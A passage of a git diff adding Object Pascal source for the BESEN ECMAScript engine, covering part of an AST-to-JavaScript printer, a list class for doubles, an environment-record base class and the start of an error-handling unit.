Visit(TBESENASTNodeAssignmentBitwiseOrExpression(ToVisit).RightExpression); + if NeedParens then begin + Add(')'); + end; + end; + bntBINARYOPERATOREXPRESSION:begin + if NeedParens then begin + Add('('); + end; + Visit(TBESENASTNodeBinaryOperatorExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryOperatorExpression(ToVisit).RightExpression); + if NeedParens then begin + Add(')'); + end; + end; + bntBINARYCOMMAEXPRESSION:begin + if NeedParens then begin + Add('('); + end; + Visit(TBESENASTNodeBinaryCommaExpression(ToVisit).LeftExpression); + Add(', '); + Visit(TBESENASTNodeBinaryCommaExpression(ToVisit).RightExpression); + if NeedParens then begin + Add(')'); + end; + end; + bntBINARYDIVIDEEXPRESSION:begin + if NeedParens then begin + Add('('); + end; + Visit(TBESENASTNodeBinaryDivideExpression(ToVisit).LeftExpression); + Add(' / '); + Visit(TBESENASTNodeBinaryDivideExpression(ToVisit).RightExpression); + if NeedParens then begin + Add(')'); + end; + end; + bntBINARYMODULOEXPRESSION:begin + if NeedParens then begin + Add('('); + end; + Visit(TBESENASTNodeBinaryModuloExpression(ToVisit).LeftExpression); + Add(' % '); + Visit(TBESENASTNodeBinaryModuloExpression(ToVisit).RightExpression); + if NeedParens then begin + Add(')'); + end; + end; + bntBINARYMULTIPLYEXPRESSION:begin + if NeedParens then begin + Add('('); + end; + Visit(TBESENASTNodeBinaryMultiplyExpression(ToVisit).LeftExpression); + Add(' * '); + Visit(TBESENASTNodeBinaryMultiplyExpression(ToVisit).RightExpression); + if NeedParens then begin + Add(')'); + end; + end; + bntBINARYPLUSEXPRESSION:begin + if NeedParens then begin + Add('('); + end; + Visit(TBESENASTNodeBinaryPlusExpression(ToVisit).LeftExpression); + Add(' + '); + Visit(TBESENASTNodeBinaryPlusExpression(ToVisit).RightExpression); + if NeedParens then begin + Add(')'); + end; + end; + bntBINARYMINUSEXPRESSION:begin + if NeedParens then begin + Add('('); + end; + Visit(TBESENASTNodeBinaryMinusExpression(ToVisit).LeftExpression); + Add(' - '); + Visit(TBESENASTNodeBinaryMinusExpression(ToVisit).RightExpression); + if NeedParens then begin + Add(')'); + end; + end; + bntBINARYSHIFTLEFTEXPRESSION:begin + if NeedParens then begin + Add('('); + end; + Visit(TBESENASTNodeBinaryShiftLeftExpression(ToVisit).LeftExpression); + Add(' << '); + Visit(TBESENASTNodeBinaryShiftLeftExpression(ToVisit).RightExpression); + if NeedParens then begin + Add(')'); + end; + end; + bntBINARYSHIFTRIGHTEXPRESSION:begin + if NeedParens then begin + Add('('); + end; + Visit(TBESENASTNodeBinaryShiftRightExpression(ToVisit).LeftExpression); + Add(' >> '); + Visit(TBESENASTNodeBinaryShiftRightExpression(ToVisit).RightExpression); + if NeedParens then begin + Add(')'); + end; + end; + bntBINARYSHIFTRIGHTUNSIGNEDEXPRESSION:begin + if NeedParens then begin + Add('('); + end; + Visit(TBESENASTNodeBinaryShiftRightUnsignedExpression(ToVisit).LeftExpression); + Add(' >>> '); + Visit(TBESENASTNodeBinaryShiftRightUnsignedExpression(ToVisit).RightExpression); + if NeedParens then begin + Add(')'); + end; + end; + bntBINARYGREATERTHANEXPRESSION:begin + if NeedParens then begin + Add('('); + end; + Visit(TBESENASTNodeBinaryGreaterThanExpression(ToVisit).LeftExpression); + Add(' > '); + Visit(TBESENASTNodeBinaryGreaterThanExpression(ToVisit).RightExpression); + if NeedParens then begin + Add(')'); + end; + end; + bntBINARYGREATERTHANOREQUALEXPRESSION:begin + if NeedParens then begin + Add('('); + end; + Visit(TBESENASTNodeBinaryGreaterThanOrEqualExpression(ToVisit).LeftExpression); + Add(' >= '); + Visit(TBESENASTNodeBinaryGreaterThanOrEqualExpression(ToVisit).RightExpression); + if NeedParens then begin + Add(')'); + end; + end; + bntBINARYLESSTHANEXPRESSION:begin + if NeedParens then begin + Add('('); + end; + Visit(TBESENASTNodeBinaryLessThanExpression(ToVisit).LeftExpression); + Add(' < '); + Visit(TBESENASTNodeBinaryLessThanExpression(ToVisit).RightExpression); + if NeedParens then begin + Add(')'); + end; + end; + bntBINARYLESSTHANOREQUALEXPRESSION:begin + if NeedParens then begin + Add('('); + end; + Visit(TBESENASTNodeBinaryLessThanOrEqualExpression(ToVisit).LeftExpression); + Add(' <= '); + Visit(TBESENASTNodeBinaryLessThanOrEqualExpression(ToVisit).RightExpression); + if NeedParens then begin + Add(')'); + end; + end; + bntBINARYINSTANCEOFEXPRESSION:begin + if NeedParens then begin + Add('('); + end; + Visit(TBESENASTNodeBinaryInstanceOfExpression(ToVisit).LeftExpression); + Add(' instanceof '); + Visit(TBESENASTNodeBinaryInstanceOfExpression(ToVisit).RightExpression); + if NeedParens then begin + Add(')'); + end; + end; + bntBINARYINEXPRESSION:begin + if NeedParens then begin + Add('('); + end; + Visit(TBESENASTNodeBinaryInExpression(ToVisit).LeftExpression); + Add(' in '); + Visit(TBESENASTNodeBinaryInExpression(ToVisit).RightExpression); + if NeedParens then begin + Add(')'); + end; + end; + bntBINARYEQUALEQUALEXPRESSION:begin + if NeedParens then begin + Add('('); + end; + Visit(TBESENASTNodeBinaryEqualEqualExpression(ToVisit).LeftExpression); + Add(' == '); + Visit(TBESENASTNodeBinaryEqualEqualExpression(ToVisit).RightExpression); + if NeedParens then begin + Add(')'); + end; + end; + bntBINARYEQUALEQUALEQUALEXPRESSION:begin + if NeedParens then begin + Add('('); + end; + Visit(TBESENASTNodeBinaryEqualEqualEqualExpression(ToVisit).LeftExpression); + Add(' === '); + Visit(TBESENASTNodeBinaryEqualEqualEqualExpression(ToVisit).RightExpression); + if NeedParens then begin + Add(')'); + end; + end; + bntBINARYNOTEQUALEXPRESSION:begin + if NeedParens then begin + Add('('); + end; + Visit(TBESENASTNodeBinaryNotEqualExpression(ToVisit).LeftExpression); + Add(' != '); + Visit(TBESENASTNodeBinaryNotEqualExpression(ToVisit).RightExpression); + if NeedParens then begin + Add(')'); + end; + end; + bntBINARYNOTEQUALEQUALEXPRESSION:begin + if NeedParens then begin + Add('('); + end; + Visit(TBESENASTNodeBinaryNotEqualEqualExpression(ToVisit).LeftExpression); + Add(' !== '); + Visit(TBESENASTNodeBinaryNotEqualEqualExpression(ToVisit).RightExpression); + if NeedParens then begin + Add(')'); + end; + end; + bntBINARYBITWISEANDEXPRESSION:begin + if NeedParens then begin + Add('('); + end; + Visit(TBESENASTNodeBinaryBitwiseAndExpression(ToVisit).LeftExpression); + Add(' & '); + Visit(TBESENASTNodeBinaryBitwiseAndExpression(ToVisit).RightExpression); + if NeedParens then begin + Add(')'); + end; + end; + bntBINARYBITWISEXOREXPRESSION:begin + if NeedParens then begin + Add('('); + end; + Visit(TBESENASTNodeBinaryBitwiseXorExpression(ToVisit).LeftExpression); + Add(' ^ '); + Visit(TBESENASTNodeBinaryBitwiseXorExpression(ToVisit).RightExpression); + if NeedParens then begin + Add(')'); + end; + end; + bntBINARYBITWISEOREXPRESSION:begin + if NeedParens then begin + Add('('); + end; + Visit(TBESENASTNodeBinaryBitwiseOrExpression(ToVisit).LeftExpression); + Add(' | '); + Visit(TBESENASTNodeBinaryBitwiseOrExpression(ToVisit).RightExpression); + if NeedParens then begin + Add(')'); + end; + end; + bntBOOLEANLITERAL:begin + if TBESENASTNodeBooleanLiteral(ToVisit).Value then begin + Add('true'); + end else begin + Add('false'); + end; + end; + bntCALLEXPRESSION:begin + Visit(TBESENASTNodeCallExpression(ToVisit).TheFunction); + Add('('); + for Counter:=0 to length(TBESENASTNodeCallExpression(ToVisit).Arguments)-1 do begin + if Counter>0 then begin + Add(', '); + end; + Visit(TBESENASTNodeCallExpression(ToVisit).Arguments[Counter]); + end; + Add(')'); + end; + bntNEWEXPRESSION:begin + Add('new '); + Visit(TBESENASTNodeNewExpression(ToVisit).TheFunction); + Add('('); + for Counter:=0 to length(TBESENASTNodeNewExpression(ToVisit).Arguments)-1 do begin + if Counter>0 then begin + Add(', '); + end; + Visit(TBESENASTNodeNewExpression(ToVisit).Arguments[Counter]); + end; + Add(')'); + end; + bntCONDITIONALEXPRESSION:begin + if NeedParens then begin + Add('('); + end; + Visit(TBESENASTNodeConditionalExpression(ToVisit).Expression); + Add(' ? '); + Visit(TBESENASTNodeConditionalExpression(ToVisit).TrueExpression); + Add(' : '); + Visit(TBESENASTNodeConditionalExpression(ToVisit).FalseExpression); + if NeedParens then begin + Add(')'); + end; + end; + bntUNARYEXPRESSION:begin + Visit(TBESENASTNodeUnaryExpression(ToVisit).SubExpression); + end; + bntUNARYOPERATOREXPRESSION:begin + Visit(TBESENASTNodeUnaryOperatorExpression(ToVisit).SubExpression); + end; + bntUNARYPLUSEXPRESSION:begin + if NeedParens then begin + Add('('); + end; + Add('+'); + Visit(TBESENASTNodeUnaryPlusExpression(ToVisit).SubExpression); + if NeedParens then begin + Add(')'); + end; + end; + bntUNARYMINUSEXPRESSION:begin + if NeedParens then begin + Add('('); + end; + Add('-'); + Visit(TBESENASTNodeUnaryMinusExpression(ToVisit).SubExpression); + if NeedParens then begin + Add(')'); + end; + end; + bntUNARYBITWISENOTEXPRESSION:begin + if NeedParens then begin + Add('('); + end; + Add('~'); + Visit(TBESENASTNodeUnaryBitwiseNotExpression(ToVisit).SubExpression); + if NeedParens then begin + Add(')'); + end; + end; + bntUNARYLOGICALNOTEXPRESSION:begin + if NeedParens then begin + Add('('); + end; + Add('!'); + Visit(TBESENASTNodeUnaryLogicalNotExpression(ToVisit).SubExpression); + if NeedParens then begin + Add(')'); + end; + end; + bntUNARYVOIDEXPRESSION:begin + Add('void '); + Visit(TBESENASTNodeUnaryVoidExpression(ToVisit).SubExpression); + end; + bntUNARYTYPEOFEXPRESSION:begin + Add('typeof '); + Visit(TBESENASTNodeUnaryTypeOfExpression(ToVisit).SubExpression); + end; + bntPROPERTYEXPRESSION:begin + Visit(TBESENASTNodePropertyExpression(ToVisit).LeftExpression); + if TBESENASTNodePropertyExpression(ToVisit).Dot and assigned(TBESENASTNodePropertyExpression(ToVisit).RightExpression) and (TBESENASTNodePropertyExpression(ToVisit).RightExpression is TBESENASTNodeStringLiteral) then begin + Add('.'); + Add(BESENUTF16ToUTF8(TBESENASTNodeStringLiteral(TBESENASTNodePropertyExpression(ToVisit).RightExpression).Value)); + end else begin + Add('['); + Visit(TBESENASTNodePropertyExpression(ToVisit).RightExpression); + Add(']'); + end; + end; + bntLOGICALANDEXPRESSION:begin + if NeedParens then begin + Add('('); + end; + Visit(TBESENASTNodeLogicalAndExpression(ToVisit).LeftExpression); + Add(' && '); + Visit(TBESENASTNodeLogicalAndExpression(ToVisit).RightExpression); + if NeedParens then begin + Add(')'); + end; + end; + bntLOGICALOREXPRESSION:begin + if NeedParens then begin + Add('('); + end; + Visit(TBESENASTNodeLogicalOrExpression(ToVisit).LeftExpression); + Add(' || '); + Visit(TBESENASTNodeLogicalOrExpression(ToVisit).RightExpression); + if NeedParens then begin + Add(')'); + end; + end; + bntDELETEEXPRESSION:begin + Add('delete '); + Visit(TBESENASTNodeDeleteExpression(ToVisit).SubExpression); + end; + bntPOSTFIXINCEXPRESSION:begin + if NeedParens then begin + Add('('); + end; + Visit(TBESENASTNodePostfixIncExpression(ToVisit).SubExpression); + Add('++'); + if NeedParens then begin + Add(')'); + end; + end; + bntPOSTFIXDECEXPRESSION:begin + if NeedParens then begin + Add('('); + end; + Visit(TBESENASTNodePostfixDecExpression(ToVisit).SubExpression); + Add('--'); + if NeedParens then begin + Add(')'); + end; + end; + bntPREFIXINCEXPRESSION:begin + if NeedParens then begin + Add('('); + end; + Add('++'); + Visit(TBESENASTNodePrefixIncExpression(ToVisit).SubExpression); + if NeedParens then begin + Add(')'); + end; + end; + bntPREFIXDECEXPRESSION:begin + if NeedParens then begin + Add('('); + end; + Add('--'); + Visit(TBESENASTNodePrefixDecExpression(ToVisit).SubExpression); + if NeedParens then begin + Add(')'); + end; + end; + bntNULLLITERAL:begin + Add('null'); + end; + bntNUMBERLITERAL:begin + if TBESENASTNodeNumberLiteral(ToVisit).Value=trunc(TBESENASTNodeNumberLiteral(ToVisit).Value) then begin + str(trunc(TBESENASTNodeNumberLiteral(ToVisit).Value),s); + end else begin + str(TBESENASTNodeNumberLiteral(ToVisit).Value,s); + end; + Add(s); + end; + bntREGEXPLITERAL:begin + Add('/'+BESENUTF16ToUTF8(TBESENASTNodeRegExpLiteral(ToVisit).Source)+'/'+BESENUTF16ToUTF8(TBESENASTNodeRegExpLiteral(ToVisit).Flags)); + end; + bntSTRINGLITERAL:begin + Add(BESENUTF16ToUTF8(BESENJSONStringQuote(TBESENASTNodeStringLiteral(ToVisit).Value))); + end; + bntTHISLITERAL:begin + Add('this'); + end; + bntOBJECTLITERALPROPERTY:begin + case TBESENASTNodeObjectLiteralProperty(ToVisit).PropertyType of + banolptACCESSOR:begin + case TBESENASTNodeObjectLiteralProperty(ToVisit).PropertyAccessorType of + banolpatGET:begin + Add('get '); + end; + banolpatSET:begin + Add('set '); + end; + end; + Add(BESENUTF16ToUTF8(TBESENASTNodeObjectLiteralProperty(ToVisit).Name)); + if assigned(TBESENASTNodeObjectLiteralProperty(ToVisit).Container) then begin + Visit(TBESENASTNodeObjectLiteralProperty(ToVisit).Container.Literal); + end; + end; + banolptDATA:begin + Add(BESENUTF16ToUTF8(TBESENASTNodeObjectLiteralProperty(ToVisit).Name)); + Add(': '); + Visit(TBESENASTNodeObjectLiteralProperty(ToVisit).Value); + end; + end; + end; + bntOBJECTLITERAL:begin + Add('{'); + inc(Indent); + for Counter:=0 to length(TBESENASTNodeObjectLiteral(ToVisit).Properties)-1 do begin + if Counter>0 then begin + Add(', '); + end; + Visit(TBESENASTNodeObjectLiteral(ToVisit).Properties[Counter]); + end; + dec(Indent); + Add('}'); + end; + bntRETURNSTATEMENT:begin + AddIndent; + Add('return '); + Visit(TBESENASTNodeReturnStatement(ToVisit).Expression,false); + AddCRLF(';'); + end; + bntPROGRAM:begin + Visit(TBESENASTNodeProgram(ToVisit).Body); + end; + bntFUNCTIONEXPRESSION:begin + if assigned(TBESENASTNodeFunctionDeclaration(ToVisit).Container) then begin + AddIndent; + Visit(TBESENASTNodeFunctionExpression(ToVisit).Container.Literal); + end; + end; + end; + end; + end; +begin + Code:=''; + Indent:=0; + Visit(RootNode); + result:=Code; +end; + +end. diff --git a/Core/JS/BESENDoubleList.pas b/Core/JS/BESENDoubleList.pas new file mode 100644 index 0000000..8c60bee --- /dev/null +++ b/Core/JS/BESENDoubleList.pas @@ -0,0 +1,229 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENDoubleList; +{$i BESEN.inc} + +interface + +uses BESENConstants,BESENTypes; + +type PBESENDoubleArray=^TBESENDoubleArray; + TBESENDoubleArray=array[0..(2147483647 div sizeof(double))-1] of double; + + TBESENDoubleList=class + private + FList:PBESENDoubleArray; + FCount,FSize:integer; + function GetItem(index:integer):double; + procedure SetItem(index:integer;Value:double); + function GetItemPointer(index:integer):pointer; + public + constructor Create; + destructor Destroy; override; + procedure Clear; + function Add(Item:double):integer; + procedure Insert(index:integer;Item:double); + procedure Delete(index:integer); + function Remove(Item:double):integer; + function Find(Item:double):integer; + function IndexOf(Item:double):integer; + procedure Exchange(Index1,Index2:integer); + procedure SetCapacity(NewCapacity:integer); + procedure SetCount(NewCount:integer); + property Count:integer read FCount; + property Capacity:integer read FSize write SetCapacity; + property Item[index:integer]:double read GetItem write SetItem; default; + property Items[index:integer]:double read GetItem write SetItem; + property PItems[index:integer]:pointer read GetItemPointer; + end; + +implementation + +constructor TBESENDoubleList.Create; +begin + inherited Create; + FCount:=0; + FSize:=0; + FList:=nil; + Clear; +end; + +destructor TBESENDoubleList.Destroy; +begin + Clear; + inherited Destroy; +end; + +procedure TBESENDoubleList.Clear; +begin + FCount:=0; + FSize:=0; + ReallocMem(FList,0); +end; + +procedure TBESENDoubleList.SetCapacity(NewCapacity:integer); +begin + if (NewCapacity>=0) and (NewCapacity<high(TBESENDoubleArray)) then begin + NewCapacity:=(NewCapacity+256) and not 255; + if FSize<>NewCapacity then begin + ReallocMem(FList,NewCapacity*sizeof(double)); + if FSize<NewCapacity then begin + FillChar(FList^[FSize],(NewCapacity-FSize)*sizeof(double),#0); + end; + FSize:=NewCapacity; + end; + end; +end; + +procedure TBESENDoubleList.SetCount(NewCount:integer); +begin + if (NewCount>=0) and (NewCount<high(TBESENDoubleArray)) then begin + if NewCount<FCount then begin + FillChar(FList^[NewCount],(FCount-NewCount)*sizeof(double),#0); + end; + SetCapacity(NewCount); + FCount:=NewCount; + end; +end; + +function TBESENDoubleList.Add(Item:double):integer; +begin + result:=FCount; + SetCount(result+1); + FList^[result]:=Item; +end; + +procedure TBESENDoubleList.Insert(index:integer;Item:double); +var I:integer; +begin + if (index>=0) and (index<FCount) then begin + SetCount(FCount+1); + for I:=FCount-1 downto index do FList^[I+1]:=FList^[I]; + FList^[index]:=Item; + end else if index=FCount then begin + Add(Item); + end else if index>FCount then begin + SetCount(index); + Add(Item); + end; +end; + +procedure TBESENDoubleList.Delete(index:integer); +var I,J,K:integer; +begin + if (index>=0) and (index<FCount) then begin + K:=FCount-1; + J:=index; + for I:=J to K-1 do FList^[I]:=FList^[I+1]; + SetCount(K); + end; +end; + +function TBESENDoubleList.Remove(Item:double):integer; +var I,J,K:integer; +begin + result:=-1; + K:=FCount; + J:=-1; + for I:=0 to K-1 do begin + if FList^[I]=Item then begin + J:=I; + break; + end; + end; + if J>=0 then begin + dec(K); + for I:=J to K-1 do FList^[I]:=FList^[I+1]; + SetCount(K); + result:=J; + end; +end; + +function TBESENDoubleList.Find(Item:double):integer; +var I:integer; +begin + result:=-1; + for I:=0 to FCount-1 do begin + if FList^[I]=Item then begin + result:=I; + exit; + end; + end; +end; + +function TBESENDoubleList.IndexOf(Item:double):integer; +var I:integer; +begin + result:=-1; + for I:=0 to FCount-1 do begin + if FList^[I]=Item then begin + result:=I; + exit; + end; + end; +end; + +procedure TBESENDoubleList.Exchange(Index1,Index2:integer); +var TempDouble:double; +begin + if (Index1>=0) and (Index1<FCount) and (Index2>=0) and (Index2<FCount) then begin + TempDouble:=FList^[Index1]; + FList^[Index1]:=FList^[Index2]; + FList^[Index2]:=TempDouble; + end; +end; + +function TBESENDoubleList.GetItem(index:integer):double; +begin + if (index>=0) and (index<FCount) then begin + result:=FList^[index]; + end else begin + result:=0; + end; +end; + +procedure TBESENDoubleList.SetItem(index:integer;Value:double); +begin + if (index>=0) and (index<FCount) then begin + FList^[index]:=Value; + end; +end; + +function TBESENDoubleList.GetItemPointer(index:integer):pointer; +begin + if (index>=0) and (index<FCount) then begin + result:=@FList^[index]; + end else begin + result:=nil; + end; +end; + +end. diff --git a/Core/JS/BESENEnvironmentRecord.pas b/Core/JS/BESENEnvironmentRecord.pas new file mode 100644 index 0000000..7b03695 --- /dev/null +++ b/Core/JS/BESENEnvironmentRecord.pas @@ -0,0 +1,201 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENEnvironmentRecord; +{$i BESEN.inc} + +interface + +uses BESENConstants,BESENTypes,BESENValue,BESENBaseObject, + BESENCollectorObject,BESENObjectPropertyDescriptor, + BESENSelfBalancedTree,BESENHashMap, + BESENGarbageCollector; + +const BESENEnvironmentRecordTypeDeclarative=0; + BESENEnvironmentRecordTypeObject=longword($ffffffff); + +type TBESENEnvironmentRecord=class(TBESENGarbageCollectorObject) + public + IsStrict:TBESENBoolean; + HasMaybeDirectEval:TBESENBoolean; + ImplicitThisValue:TBESENValue; + RecordType:TBESENUINT32; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + function HasBindingEx(const N:TBESENString;var Descriptor:TBESENObjectPropertyDescriptor;Hash:TBESENHash=0):TBESENBoolean; virtual; + function HasBinding(const N:TBESENString;Hash:TBESENHash=0):TBESENBoolean; virtual; + function CreateMutableBinding(const N:TBESENString;const D:TBESENBoolean=false;Hash:TBESENHash=0):TBESENBoolean; virtual; + function SetMutableBindingEx(const N:TBESENString;const V:TBESENValue;const S:TBESENBoolean;var Descriptor,OwnDescriptor:TBESENObjectPropertyDescriptor;var TempValue:TBESENValue;Hash:TBESENHash=0):TBESENBoolean; virtual; + procedure GetBindingValueEx(const N:TBESENString;const S:TBESENBoolean;var R:TBESENValue;var Descriptor:TBESENObjectPropertyDescriptor;Hash:TBESENHash=0); virtual; + function SetMutableBinding(const N:TBESENString;const V:TBESENValue;const S:TBESENBoolean;Hash:TBESENHash=0):TBESENBoolean; virtual; + procedure GetBindingValue(const N:TBESENString;const S:TBESENBoolean;var R:TBESENValue;Hash:TBESENHash=0); virtual; + function DeleteBindingEx(const N:TBESENString;var Descriptor:TBESENObjectPropertyDescriptor;Hash:TBESENHash=0):TBESENBoolean; virtual; + function DeleteBinding(const N:TBESENString;Hash:TBESENHash=0):TBESENBoolean; virtual; + procedure UpdateImplicitThisValue; virtual; + function CreateImmutableBinding(const N:TBESENString;Hash:TBESENHash=0):TBESENBoolean; virtual; + function InitializeImmutableBinding(const N:TBESENString;const V:TBESENValue;Hash:TBESENHash=0):TBESENBoolean; virtual; + function SetBindingValueIndex(const N:TBESENString;const I:integer;Hash:TBESENHash=0):TBESENBoolean; virtual; + function SetIndexValue(const I,ID:integer;const V:TBESENValue;const S:TBESENBoolean):TBESENBoolean; virtual; + procedure GetIndexValue(const I,ID:integer;const S:TBESENBoolean;var R:TBESENValue); virtual; + function DeleteIndex(const I,ID:integer):TBESENBoolean; virtual; + function SetArrayIndexValue(const I:TBESENUINT32;const V:TBESENValue;const S:TBESENBoolean):TBESENBoolean; virtual; + procedure GetArrayIndexValue(const I:TBESENUINT32;const S:TBESENBoolean;var R:TBESENValue); virtual; + function DeleteArrayIndex(const I:TBESENUINT32):TBESENBoolean; virtual; + end; + +implementation + +uses BESEN,BESENArrayUtils,BESENHashUtils,BESENErrors; + +constructor TBESENEnvironmentRecord.Create(AInstance:TObject); +begin + inherited Create(AInstance); + IsStrict:=TBESEN(Instance).IsStrict; + HasMaybeDirectEval:=true; + ImplicitThisValue:=BESENUndefinedValue; +end; + +destructor TBESENEnvironmentRecord.Destroy; +begin + inherited Destroy; +end; + +{$warnings off} +function TBESENEnvironmentRecord.HasBindingEx(const N:TBESENString;var Descriptor:TBESENObjectPropertyDescriptor;Hash:TBESENHash=0):TBESENBoolean; +begin + raise EBESENInternalError.Create('201003160116-0000'); +end; + +function TBESENEnvironmentRecord.HasBinding(const N:TBESENString;Hash:TBESENHash=0):TBESENBoolean; +var Descriptor:TBESENObjectPropertyDescriptor; +begin + result:=HasBindingEx(N,Descriptor,Hash); +end; + +function TBESENEnvironmentRecord.CreateMutableBinding(const N:TBESENString;const D:TBESENBoolean=false;Hash:TBESENHash=0):TBESENBoolean; +begin + raise EBESENInternalError.Create('201003160116-0001'); +end; + +function TBESENEnvironmentRecord.SetMutableBindingEx(const N:TBESENString;const V:TBESENValue;const S:TBESENBoolean;var Descriptor,OwnDescriptor:TBESENObjectPropertyDescriptor;var TempValue:TBESENValue;Hash:TBESENHash=0):TBESENBoolean; +begin + raise EBESENInternalError.Create('201003160116-0002'); +end; + +procedure TBESENEnvironmentRecord.GetBindingValueEx(const N:TBESENString;const S:TBESENBoolean;var R:TBESENValue;var Descriptor:TBESENObjectPropertyDescriptor;Hash:TBESENHash=0); +begin + raise EBESENInternalError.Create('201003160116-0003'); +end; + +function TBESENEnvironmentRecord.SetMutableBinding(const N:TBESENString;const V:TBESENValue;const S:TBESENBoolean;Hash:TBESENHash=0):TBESENBoolean; +var Descriptor,OwnDescriptor:TBESENObjectPropertyDescriptor; + Temp:TBESENValue; +begin + result:=SetMutableBindingEx(N,V,S,Descriptor,OwnDescriptor,Temp,Hash); +end; + +procedure TBESENEnvironmentRecord.GetBindingValue(const N:TBESENString;const S:TBESENBoolean;var R:TBESENValue;Hash:TBESENHash=0); +var Descriptor:TBESENObjectPropertyDescriptor; +begin + GetBindingValueEx(N,S,R,Descriptor,Hash); +end; + +function TBESENEnvironmentRecord.DeleteBindingEx(const N:TBESENString;var Descriptor:TBESENObjectPropertyDescriptor;Hash:TBESENHash=0):TBESENBoolean; +begin + raise EBESENInternalError.Create('201003160116-0004'); +end; + +function TBESENEnvironmentRecord.DeleteBinding(const N:TBESENString;Hash:TBESENHash=0):TBESENBoolean; +var Descriptor:TBESENObjectPropertyDescriptor; +begin + result:=DeleteBindingEx(N,Descriptor,Hash); +end; + +procedure TBESENEnvironmentRecord.UpdateImplicitThisValue; +begin + raise EBESENInternalError.Create('201003160116-0005'); +end; + +function TBESENEnvironmentRecord.CreateImmutableBinding(const N:TBESENString;Hash:TBESENHash=0):TBESENBoolean; +begin + raise EBESENInternalError.Create('201003160116-0006'); +end; + +function TBESENEnvironmentRecord.InitializeImmutableBinding(const N:TBESENString;const V:TBESENValue;Hash:TBESENHash=0):TBESENBoolean; +begin + raise EBESENInternalError.Create('201003160116-0007'); +end; + +function TBESENEnvironmentRecord.SetBindingValueIndex(const N:TBESENString;const I:integer;Hash:TBESENHash=0):TBESENBoolean; +begin + raise EBESENInternalError.Create('201003160116-0008'); +end; + +function TBESENEnvironmentRecord.SetIndexValue(const I,ID:integer;const V:TBESENValue;const S:TBESENBoolean):TBESENBoolean; +begin + raise EBESENInternalError.Create('201003160116-0009'); +end; + +procedure TBESENEnvironmentRecord.GetIndexValue(const I,ID:integer;const S:TBESENBoolean;var R:TBESENValue); +begin + raise EBESENInternalError.Create('201003160116-0010'); +end; + +function TBESENEnvironmentRecord.DeleteIndex(const I,ID:integer):TBESENBoolean; +begin + raise EBESENInternalError.Create('201003160116-0011'); +end; + +function TBESENEnvironmentRecord.SetArrayIndexValue(const I:TBESENUINT32;const V:TBESENValue;const S:TBESENBoolean):TBESENBoolean; +var N:TBESENString; +begin + N:=BESENArrayIndexToStr(I); + result:=SetMutableBinding(N,V,S,BESENHashKey(N)); + N:=''; +end; + +procedure TBESENEnvironmentRecord.GetArrayIndexValue(const I:TBESENUINT32;const S:TBESENBoolean;var R:TBESENValue); +var N:TBESENString; +begin + N:=BESENArrayIndexToStr(I); + GetBindingValue(N,S,R,BESENHashKey(N)); + N:=''; +end; + +function TBESENEnvironmentRecord.DeleteArrayIndex(const I:TBESENUINT32):TBESENBoolean; +var N:TBESENString; +begin + N:=BESENArrayIndexToStr(I); + result:=DeleteBinding(N,BESENHashKey(N)); + N:=''; +end; +{$warnings on} + +end. diff --git a/Core/JS/BESENErrors.pas b/Core/JS/BESENErrors.pas new file mode 100644 index 0000000..42f34ba --- /dev/null +++ b/Core/JS/BESENErrors.pas @@ -0,0 +1,630 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENErrors; +{$i BESEN.inc} + +interface + +uses SysUtils,Classes,BESENConstants,BESENTypes,BESENValue; + +type EBESENError=class(Exception) + public + OriginalMessage:TBESENString; + Name:TBESENString; + Value:TBESENValue; + constructor Create; overload; virtual; +// BEGIN - To avoid "Ambiguous overloaded call to" error + constructor Create(const Msg:string); overload; virtual; + constructor CreateUTF16(const Msg:TBESENSTRING); overload; virtual; +// END - To avoid "Ambiguous overloaded call to" error + constructor Create(const AValue:TBESENValue); overload; virtual; + constructor Create(const Msg:TBESENSTRING;const AValue:TBESENValue); overload; virtual; + constructor Create(const AName,Msg:TBESENSTRING); overload; virtual; + constructor Create(const AName,Msg:TBESENSTRING;const AValue:TBESENValue); 